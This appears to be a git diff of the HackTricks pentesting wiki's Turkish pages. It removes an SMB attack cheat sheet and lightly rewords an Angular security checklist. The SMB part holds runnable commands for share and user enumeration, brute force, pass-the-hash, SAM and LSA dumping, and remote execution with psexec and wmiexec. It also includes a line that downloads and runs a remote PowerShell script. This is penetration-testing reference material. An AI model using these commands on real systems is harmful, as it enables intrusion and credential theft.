çapraz platform iletişimini kolaylaştırır. - -**Yerel dosya sisteminin** **rastgele parçalarını** temsil eden paylaşımlar, bir SMB sunucusu tarafından sağlanabilir ve bu, istemciye sunucunun gerçek yapısından kısmen **bağımsız** bir hiyerarşi sunar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **ince ayar kontrolü** sağlar; bu, **`çalıştırma`**, **`okuma`** ve **`tam erişim`** gibi nitelikleri içerir. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanan yerel izinlerden farklıdır. - -### IPC$ Share - -IPC$ paylaşımına anonim bir null oturumu aracılığıyla erişim sağlanabilir ve bu, adlandırılmış borular aracılığıyla sunulan hizmetlerle etkileşimde bulunmayı mümkün kılar. Bu amaçla `enum4linux` aracı faydalıdır. Doğru kullanıldığında, aşağıdakilerin edinilmesini sağlar: - -- İşletim sistemi hakkında bilgi -- Ana alan hakkında ayrıntılar -- Yerel kullanıcılar ve grupların derlemesi -- Mevcut SMB paylaşımları hakkında bilgi -- Etkili sistem güvenlik politikası - -Bu işlevsellik, ağ yöneticileri ve güvenlik profesyonellerinin bir ağ üzerindeki SMB (Server Message Block) hizmetlerinin güvenlik durumunu değerlendirmesi için kritik öneme sahiptir. `enum4linux`, hedef sistemin SMB ortamının kapsamlı bir görünümünü sunarak, potansiyel zayıflıkları tanımlamak ve SMB hizmetlerinin düzgün bir şekilde güvence altına alındığından emin olmak için gereklidir. -```bash -enum4linux -a target_ip -``` -Yukarıdaki komut, `target_ip` ile belirtilen bir hedefe karşı tam bir enumeration gerçekleştirmek için `enum4linux`'un nasıl kullanılabileceğine dair bir örnektir. - -## NTLM Nedir - -Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl istismar edileceğini öğrenmek istiyorsanız, **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız; burada **bu protokolün nasıl çalıştığı ve ondan nasıl yararlanabileceğiniz açıklanmaktadır:** - -{{#ref}} -../windows-hardening/ntlm/ -{{#endref}} - -## **Sunucu Enumeration** - -### **Ağ** taraması yaparak hostları arama: -```bash -nbtscan -r 192.168.0.1/24 -``` -### SMB sunucu versiyonu - -SMB versiyonuna olası istismarlar aramak için hangi versiyonun kullanıldığını bilmek önemlidir. Bu bilgi diğer kullanılan araçlarda görünmüyorsa, şunları yapabilirsiniz: - -- **MSF** yardımcı modülünü _**auxiliary/scanner/smb/smb_version**_ kullanın -- Ya da bu scripti kullanın: -```bash -#!/bin/sh -#Author: rewardone -#Description: -# Requires root or enough permissions to use tcpdump -# Will listen for the first 7 packets of a null login -# and grab the SMB Version -#Notes: -# Will sometimes not capture or will print multiple -# lines. May need to run a second time for success. -if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi -if [ ! -z $2 ]; then rport=$2; else rport=139; fi -tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " & -echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null -echo "" && sleep .1 -``` -### **Arama istismarı** -```bash -msf> search type:exploit platform:windows target:2008 smb -searchsploit microsoft smb -``` -### **Olası** Kimlik Bilgileri - -| **Kullanıcı Adı(ları)** | **Yaygın Şifreler** | -| ------------------------ | ----------------------------------------- | -| _(boş)_ | _(boş)_ | -| misafir | _(boş)_ | -| Yönetici, admin | _(boş)_, şifre, yönetici, admin | -| arcserve | arcserve, yedek | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, yedek | backupexec, yedek, arcada | -| test, lab, demo | şifre, test, lab, demo | - -### Kaba Kuvvet - -- [**SMB Kaba Kuvvet**](../generic-methodologies-and-resources/brute-force.md#smb) - -### SMB Ortam Bilgisi - -### Bilgi Edinme -```bash -#Dump interesting information -enum4linux -a [-u "" -p ""] -enum4linux-ng -A [-u "" -p ""] -nmap --script "safe or smb-enum-*" -p 445 - -#Connect to the rpc -rpcclient -U "" -N #No creds -rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash -rpcclient -U "username%passwd" #With creds -#You can use querydispinfo and enumdomusers to query user information - -#Dump user information -/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@] -/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@] - -#Map possible RPC endpoints -/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@] -/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] -/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] -``` -### Kullanıcıları, Grupları ve Giriş Yapmış Kullanıcıları Listele - -Bu bilgiler zaten enum4linux ve enum4linux-ng'den toplanmış olmalıdır. -```bash -crackmapexec smb 10.10.10.10 --users [-u -p ] -crackmapexec smb 10.10.10.10 --groups [-u -p ] -crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u -p ] - -ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " " - -rpcclient -U "" -N 10.10.10.10 -enumdomusers -enumdomgroups -``` -### Yerel kullanıcıları listele - -[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) -```bash -lookupsid.py -no-pass hostname.local -``` -Tek satır -```bash -for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done -``` -### Metasploit - Yerel kullanıcıları listele -```bash -use auxiliary/scanner/smb/smb_lookupsid -set rhosts hostname.local -run -``` -### **LSARPC ve SAMR rpcclient'ı Listeleme** - -{{#ref}} -pentesting-smb/rpcclient-enumeration.md -{{#endref}} - -### Linux'tan GUI bağlantısı - -#### Terminalde: - -`xdg-open smb://cascade.htb/` - -#### Dosya tarayıcı penceresinde (nautilus, thunar, vb.) - -`smb://friendzone.htb/general/` - -## Paylaşılan Klasörleri Listeleme - -### Paylaşılan klasörleri listele - -Her zaman erişim sağlayıp sağlayamayacağınıza bakmanız önerilir, eğer kimlik bilgilerine sahip değilseniz **null** **kimlik bilgileri/konuk kullanıcı** kullanmayı deneyin. -```bash -smbclient --no-pass -L // # Null user -smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash - -smbmap -H [-P ] #Null user -smbmap -u "username" -p "password" -H [-P ] #Creds -smbmap -u "username" -p ":" -H [-P ] #Pass-the-Hash -smbmap -R -u "username" -p "password" -H [-P ] #Recursive list - -crackmapexec smb -u '' -p '' --shares #Null user -crackmapexec smb -u 'username' -p 'password' --shares #Guest user -crackmapexec smb -u 'username' -H '' --shares #Guest user -``` -### **Bağlan/Paylaşılan bir klasörü listele** -```bash -#Connect using smbclient -smbclient --no-pass /// -smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash -#Use --no-pass -c 'recurse;ls' to list recursively with smbclient - -#List with smbmap, without folder it list everything -smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive list -smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list -smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash -``` -### **Manually enumerate windows shares and connect to them** - -Ana makinenin herhangi bir paylaşımlarını görüntülemede kısıtlı olabileceğiniz ve bunları listelemeye çalıştığınızda, bağlanacak herhangi bir paylaşım olmadığı gibi görünebilir. Bu nedenle, bir paylaşım ile manuel olarak bağlanmayı denemek faydalı olabilir. Paylaşımları manuel olarak listelemek için, geçerli bir oturum kullanırken (örneğin, null oturum veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bu, paylaşımın var olup olmadığını ve ona erişiminizin olup olmadığını gösterebilir veya paylaşımın hiç var olmadığını belirtebilir. - -Windows hedefleri için yaygın paylaşım adları şunlardır: - -- C$ -- D$ -- ADMIN$ -- IPC$ -- PRINT$ -- FAX$ -- SYSVOL -- NETLOGON - -(Yaygın paylaşım adları _**Network Security Assessment 3rd edition**_’dan) - -Onlara bağlanmayı denemek için aşağıdaki komutu kullanabilirsiniz. -```bash -smbclient -U '%' -N \\\\\\ # null session to connect to a windows share -smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) -``` -bu script için (null oturumu kullanarak) -```bash -#/bin/bash - -ip='' -shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON') - -for share in ${shares[*]}; do -output=$(smbclient -U '%' -N \\\\$ip\\$share -c '') - -if [[ -z $output ]]; then -echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created -else -echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME) -fi -done -``` -örnekler -```bash -smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME -smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session -``` -### **Windows'tan payları listele / üçüncü taraf araçlar olmadan** - -PowerShell -```bash -# Retrieves the SMB shares on the locale computer. -Get-SmbShare -Get-WmiObject -Class Win32_Share -# Retrieves the SMB shares on a remote computer. -get-smbshare -CimSession "" -# Retrieves the connections established from the local SMB client to the SMB servers. -Get-SmbConnection -``` -CMD konsolu -```shell -# List shares on the local computer -net share -# List shares on a remote computer (including hidden ones) -net view \\ /all -``` -MMC Eklentisi (grafik) -```shell -# Shared Folders: Shared Folders > Shares -fsmgmt.msc -# Computer Management: Computer Management > System Tools > Shared Folders > Shares -compmgmt.msc -``` -explorer.exe (grafik), mevcut gizli olmayan paylaşımları görmek için `\\\` yazın. - -### Paylaşılan bir klasörü bağlayın -```bash -mount -t cifs //x.x.x.x/share /mnt/share -mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share -``` -### **Dosyaları İndir** - -Kimlik bilgileriyle nasıl bağlanacağınızı öğrenmek için önceki bölümleri okuyun/Pass-the-Hash. -```bash -#Search a file and download -sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap -``` - -```bash -#Download all -smbclient /// -> mask "" -> recurse -> prompt -> mget * -#Download everything to current directory -``` -Komutlar: - -- mask: dizindeki dosyaları filtrelemek için kullanılan maskeyi belirtir (örneğin, "" tüm dosyalar için) -- recurse: yinelemeyi açar (varsayılan: kapalı) -- prompt: dosya adları için istemeyi kapatır (varsayılan: açık) -- mget: maskeye uyan tüm dosyaları ana bilgisayardan istemci makinesine kopyalar - -(_smbclient'in man sayfasından bilgi_) - -### Alan Paylaşılan Klasörler Arama - -- [**Snaffler**](https://github.com/SnaffCon/Snaffler) -```bash -Snaffler.exe -s -d domain.local -o snaffler.log -v data -``` -- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) örümcek. -- `-M spider_plus [--share ]` -- `--pattern txt` -```bash -sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' -``` -Özellikle paylaşımlardan ilginç olanlar, **`Registry.xml`** olarak adlandırılan dosyalardır çünkü bunlar **autologon** ile yapılandırılmış kullanıcılar için **şifreler** içerebilir. Ya da **`web.config`** dosyaları, çünkü bunlar kimlik bilgilerini içerir. - -- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares) -- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")` -- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test` - -> [!NOTE] -> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulaması yapılmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı toplu iş, VBScript ve PowerShell **script** bulabilirsiniz.\ -> İçindeki **script**'leri **kontrol** etmelisiniz çünkü **şifreler** gibi hassas bilgileri **bulabilirsiniz**. - -## Kayıt Defterini Oku - -Bulunan bazı kimlik bilgilerini kullanarak **kayıt defterini** **okuyabilirsiniz**. Impacket **`reg.py`** denemenize olanak tanır: -```bash -sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s -sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s -sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s -``` -## Post Exploitation - -Bir **Samba** sunucusunun **varsayılan yapılandırması** genellikle `/etc/samba/smb.conf` içinde bulunur ve bazı **tehlikeli yapılandırmalara** sahip olabilir: - -| **Ayar** | **Açıklama** | -| --------------------------- | ------------------------------------------------------------------ | -| `browseable = yes` | Mevcut paylaşımları listelemeye izin verilsin mi? | -| `read only = no` | Dosyaların oluşturulmasını ve değiştirilmesini yasakla? | -| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin ver? | -| `guest ok = yes` | Şifre kullanmadan hizmete bağlanmaya izin verilsin mi? | -| `enable privileges = yes` | Belirli SID'lere atanan ayrıcalıkları dikkate al? | -| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinlerin atanması gerekir? | -| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinlerin atanması gerekir? | -| `logon script = script.sh` | Kullanıcının girişi sırasında hangi scriptin çalıştırılması gerekir? | -| `magic script = script.sh` | Script kapandığında hangi scriptin çalıştırılması gerekir? | -| `magic output = script.out` | Magic scriptin çıktısının nereye kaydedilmesi gerekir? | - -`Smbstatus` komutu **sunucu** hakkında ve **kimin bağlı olduğu** hakkında bilgi verir. - -## Authenticate using Kerberos - -**Kerberos** ile **kimlik doğrulaması** yapmak için **smbclient** ve **rpcclient** araçlarını kullanabilirsiniz: -```bash -smbclient --kerberos //ws01win10.domain.com/C$ -rpcclient -k ws01win10.domain.com -``` -## **Komutları Çalıştır** - -### **crackmapexec** - -crackmapexec, **wmiexec** varsayılan yöntem olmak üzere, **mmcexec, smbexec, atexec, wmiexec**'i **istismar ederek** komutları çalıştırabilir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz: -```bash -apt-get install crackmapexec - -crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell -crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd -crackmapexec smb 192.168.10.11 -u Administrator -H -x whoami #Pass-the-Hash -# Using --exec-method {mmcexec,smbexec,atexec,wmiexec} - -crackmapexec smb -d -u Administrator -p 'password' --sam #Dump SAM -crackmapexec smb -d -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes -crackmapexec smb -d -u Administrator -p 'password' --sessions #Get sessions ( -crackmapexec smb -d -u Administrator -p 'password' --loggedon-users #Get logged-on users -crackmapexec smb -d -u Administrator -p 'password' --disks #Enumerate the disks -crackmapexec smb -d -u Administrator -p 'password' --users #Enumerate users -crackmapexec smb -d -u Administrator -p 'password' --groups # Enumerate groups -crackmapexec smb -d -u Administrator -p 'password' --local-groups # Enumerate local groups -crackmapexec smb -d -u Administrator -p 'password' --pass-pol #Get password policy -crackmapexec smb -d -u Administrator -p 'password' --rid-brute #RID brute - -crackmapexec smb -d -u Administrator -H #Pass-The-Hash -``` -### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) - -Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB üzerinden _\pipe\svcctl_ kullanarak) ve bunu **bir şey çalıştırmak için** kullanacaktır (**psexec** bir yürütülebilir dosyayı ADMIN$ paylaşımına **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'ye işaret edecek ve argümanlara yükü koyacaktır --**dosya olmadan teknik-**-).\ -**Daha fazla bilgi** için [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)ve [**smbexec**](../windows-hardening/ntlm/smbexec.md).\ -**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır. -```bash -#If no password is provided, it will be prompted -./psexec.py [[domain/]username[:password]@] -./psexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash -psexec \\192.168.122.66 -u Administrator -p 123456Ww -psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash -``` -**parametre**`-k` kullanarak **kerberos** ile **NTLM** yerine kimlik doğrulaması yapabilirsiniz. - -### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec - -Diskle temas etmeden veya yeni bir hizmet çalıştırmadan DCOM aracılığıyla **port 135** kullanarak gizlice bir komut kabuğu çalıştırın.\ -**kali**'de /usr/share/doc/python3-impacket/examples/ konumundadır. -```bash -#If no password is provided, it will be prompted -./wmiexec.py [[domain/]username[:password]@] #Prompt for password -./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash -#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted -``` -**parametre**`-k` kullanarak **kerberos** ile **NTLM** yerine kimlik doğrulaması yapabilirsiniz. -```bash -#If no password is provided, it will be prompted -./dcomexec.py [[domain/]username[:password]@] -./dcomexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash -#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted -``` -### [AtExec](../windows-hardening/ntlm/atexec.md) - -Görev Zamanlayıcı aracılığıyla komutları çalıştırın (SMB üzerinden _\pipe\atsvc_ kullanarak).\ -**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır. -```bash -./atexec.py [[domain/]username[:password]@] "command" -./atexec.py -hashes administrator@10.10.10.175 "whoami" -``` -## Impacket referansı - -[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) - -## **Kaba kuvvetle kullanıcı kimlik bilgileri** - -**Bu önerilmez, maksimum izin verilen deneme sayısını aşarsanız bir hesabı engelleyebilirsiniz** -```bash -nmap --script smb-brute -p 445 -ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name -``` -## SMB relay attack - -Bu saldırı, iç ağda **SMB kimlik doğrulama oturumlarını** **yakalamak** için Responder aracını kullanır ve bunları bir **hedef makineye** **iletir**. Eğer kimlik doğrulama **oturumu başarılı olursa**, otomatik olarak bir **sistem** **kabuk** ortamına geçecektir.\ -[**Bu saldırı hakkında daha fazla bilgi burada.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - -## SMB-Trap - -Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak ana bilgisayara kimlik doğrulaması yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"` - -Bu, aşağıdaki işlevlerle gerçekleşir: - -- URLDownloadToFile -- URLDownloadToCache -- URLOpenStream -- URLOpenBlockingStream - -Bu işlevler bazı tarayıcılar ve araçlar (Skype gibi) tarafından kullanılır. - -![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>) - -### SMBTrap using MitMf - -![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>) - -## NTLM Theft - -SMB Trapping'e benzer şekilde, hedef sisteme kötü niyetli dosyalar yerleştirmek (örneğin SMB üzerinden) bir SMB kimlik doğrulama girişimini tetikleyebilir ve NetNTLMv2 hash'inin Responder gibi bir araçla yakalanmasına olanak tanır. Hash daha sonra çevrimdışı olarak kırılabilir veya [SMB relay attack](pentesting-smb.md#smb-relay-attack) için kullanılabilir. - -[See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) - -## HackTricks Automatic Commands -``` -Protocol_Name: SMB #Protocol Abbreviation if there is one. -Port_Number: 137,138,139 #Comma separated if there is more than one. -Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out - -Entry_1: -Name: Notes -Description: Notes for SMB -Note: | -While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. - -#These are the commands I run in order every time I see an open SMB port - -With No Creds -nbtscan {IP} -smbmap -H {IP} -smbmap -H {IP} -u null -p null -smbmap -H {IP} -u guest -smbclient -N -L //{IP} -smbclient -N //{IP}/ --option="client min protocol"=LANMAN1 -rpcclient {IP} -rpcclient -U "" {IP} -crackmapexec smb {IP} -crackmapexec smb {IP} --pass-pol -u "" -p "" -crackmapexec smb {IP} --pass-pol -u "guest" -p "" -GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all -GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat -GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/" -getArch.py -target {IP} - -With Creds -smbmap -H {IP} -u {Username} -p {Password} -smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} -smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` -crackmapexec smb {IP} -u {Username} -p {Password} --shares -GetADUsers.py {Domain_Name}/{Username}:{Password} -all -GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat -GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request - -https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html - -Entry_2: -Name: Enum4Linux -Description: General SMB Scan -Command: enum4linux -a {IP} - -Entry_3: -Name: Nmap SMB Scan 1 -Description: SMB Vuln Scan With Nmap -Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP} - -Entry_4: -Name: Nmap Smb Scan 2 -Description: SMB Vuln Scan With Nmap (Less Specific) -Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP} - -Entry_5: -Name: Hydra Brute Force -Description: Need User -Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb - -Entry_6: -Name: SMB/SMB2 139/445 consolesless mfs enumeration -Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole -Note: sourced from https://github.com/carlospolop/legion -Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit' - -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index 5cbbb2a28..b91df394c 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -1,10 +1,12 @@ # Angular +{{#include /banners/hacktricks-training.md}} + ## Kontrol Listesi -Kontrol Listesi [buradan](https://lsgeurope.com/post/angular-security-checklist) alınmıştır. +Kontrol Listesi [buradan](https://lsgeurope.com/post/angular-security-checklist). -* [ ] Angular, istemci tarafı bir framework olarak kabul edilir ve sunucu tarafı koruması sağlaması beklenmez +* [ ] Angular, istemci tarafı bir çerçeve olarak kabul edilir ve sunucu tarafı koruması sağlaması beklenmez * [ ] Proje yapılandırmasında scriptler için sourcemap devre dışı bırakılmıştır * [ ] Güvenilmeyen kullanıcı girişi, şablonlarda kullanılmadan önce her zaman interpolasyon veya sanitizasyon işlemine tabi tutulur * [ ] Kullanıcının sunucu tarafı veya istemci tarafı şablonları üzerinde kontrolü yoktur @@ -14,11 +16,11 @@ Kontrol Listesi [buradan](https://lsgeurope.com/post/angular-security-checklist) ## Angular Nedir -Angular, **güçlü** ve **açık kaynak** bir ön uç framework'tür ve **Google** tarafından sürdürülmektedir. Kod okunabilirliğini ve hata ayıklamayı artırmak için **TypeScript** kullanır. Güçlü güvenlik mekanizmaları ile Angular, **XSS** ve **açık yönlendirmeler** gibi yaygın istemci tarafı güvenlik açıklarını önler. Ayrıca **sunucu tarafında** da kullanılabilir, bu nedenle güvenlik dikkate alınması gereken önemli bir konudur. +Angular, **güçlü** ve **açık kaynak** bir ön uç çerçevesidir ve **Google** tarafından bakım yapılmaktadır. Kod okunabilirliğini ve hata ayıklamayı artırmak için **TypeScript** kullanır. Güçlü güvenlik mekanizmaları ile Angular, **XSS** ve **açık yönlendirmeler** gibi yaygın istemci tarafı güvenlik açıklarını önler. Ayrıca **sunucu tarafında** da kullanılabilir, bu nedenle güvenlik dikkate alınması gereken önemli bir konudur. -## Framework mimarisi +## Çerçeve Mimarisi -Angular'ın temel kavramlarını daha iyi anlamak için, onun temel kavramlarına göz atalım. +Angular temellerini daha iyi anlamak için, temel kavramlarına göz atalım. Ortak bir Angular projesi genellikle şöyle görünür: ```bash @@ -39,17 +41,17 @@ my-workspace/ ├── angular.json #provides workspace-wide and project-specific configuration defaults └── tsconfig.json #provides the base TypeScript configuration for projects in the workspace ``` -Dokümana göre, her Angular uygulaması en az bir bileşene, DOM ile bir bileşen hiyerarşisini bağlayan kök bileşen (`AppComponent`) sahiptir. Her bileşen, uygulama verilerini ve mantığını içeren bir sınıf tanımlar ve hedef ortamda görüntülenecek bir görünümü tanımlayan bir HTML şablonuyla ilişkilendirilir. `@Component()` dekoratörü, hemen altındaki sınıfı bir bileşen olarak tanımlar ve şablonu ve ilgili bileşen özel meta verilerini sağlar. `AppComponent`, `app.component.ts` dosyasında tanımlanmıştır. +Dokümana göre, her Angular uygulaması en az bir bileşene, DOM ile bir bileşen hiyerarisi bağlayan kök bileşen (`AppComponent`) sahiptir. Her bileşen, uygulama verilerini ve mantığını içeren bir sınıf tanımlar ve hedef ortamda görüntülenecek bir görünümü tanımlayan bir HTML şablonuyla ilişkilendirilir. `@Component()` dekoratörü, hemen altındaki sınıfı bir bileşen olarak tanımlar ve şablonu ve ilgili bileşen özel meta verilerini sağlar. `AppComponent`, `app.component.ts` dosyasında tanımlanmıştır. Angular NgModules, bir uygulama alanına, bir iş akışına veya yakından ilişkili bir yetenekler setine adanmış bir bileşen seti için bir derleme bağlamı bildirir. Her Angular uygulamasının, uygulamayı başlatan bootstrap mekanizmasını sağlayan kök modülü, geleneksel olarak `AppModule` olarak adlandırılır. Bir uygulama genellikle birçok işlevsel modül içerir. `AppModule`, `app.module.ts` dosyasında tanımlanmıştır. -Angular `Router` NgModule, uygulamanızdaki farklı uygulama durumları ve görünüm hiyerarşileri arasında bir navigasyon yolu tanımlamanıza olanak tanıyan bir hizmet sağlar. `RouterModule`, `app-routing.module.ts` dosyasında tanımlanmıştır. +Angular `Router` NgModule, uygulamanızdaki farklı uygulama durumları ve görünüm hiyerarileri arasında bir navigasyon yolu tanımlamanıza olanak tanıyan bir hizmet sağlar. `RouterModule`, `app-routing.module.ts` dosyasında tanımlanmıştır. Belirli bir görünümle ilişkilendirilmemiş ve bileşenler arasında paylaşmak istediğiniz veri veya mantık için bir hizmet sınıfı oluşturursunuz. Bir hizmet sınıfı tanımı, hemen öncesinde `@Injectable()` dekoratörü ile gelir. Dekoratör, diğer sağlayıcıların sınıfınıza bağımlılık olarak enjekte edilmesini sağlayan meta verileri sağlar. Bağımlılık enjeksiyonu (DI), bileşen sınıflarınızı ince ve verimli tutmanıza olanak tanır. Sunucudan veri almazlar, kullanıcı girişini doğrulamazlar veya doğrudan konsola günlüğe kaydetmezler; bu tür görevleri hizmetlere devrederler. ## Sourcemap yapılandırması -Angular çerçevesi, TypeScript dosyalarını `tsconfig.json` seçeneklerini takip ederek JavaScript koduna çevirir ve ardından `angular.json` yapılandırması ile bir proje oluşturur. `angular.json` dosyasına bakıldığında, bir sourcemap'i etkinleştirme veya devre dışı bırakma seçeneği gözlemlenmiştir. Angular dokümantasyonuna göre, varsayılan yapılandırma, betikler için etkin bir sourcemap dosyasına sahiptir ve varsayılan olarak gizli değildir: +Angular çerçevesi, `tsconfig.json` seçeneklerini takip ederek TypeScript dosyalarını JavaScript koduna çevirir ve ardından `angular.json` yapılandırması ile bir proje oluşturur. `angular.json` dosyasına bakıldığında, bir sourcemap'i etkinleştirme veya devre dışı bırakma seçeneği gözlemlenmiştir. Angular dokümantasyonuna göre, varsayılan yapılandırma, betikler için etkinleştirilmiş bir sourcemap dosyasına sahiptir ve varsayılan olarak gizli değildir: ```json "sourceMap": { "scripts": true, @@ -60,11 +62,11 @@ Angular çerçevesi, TypeScript dosyalarını `tsconfig.json` seçeneklerini tak 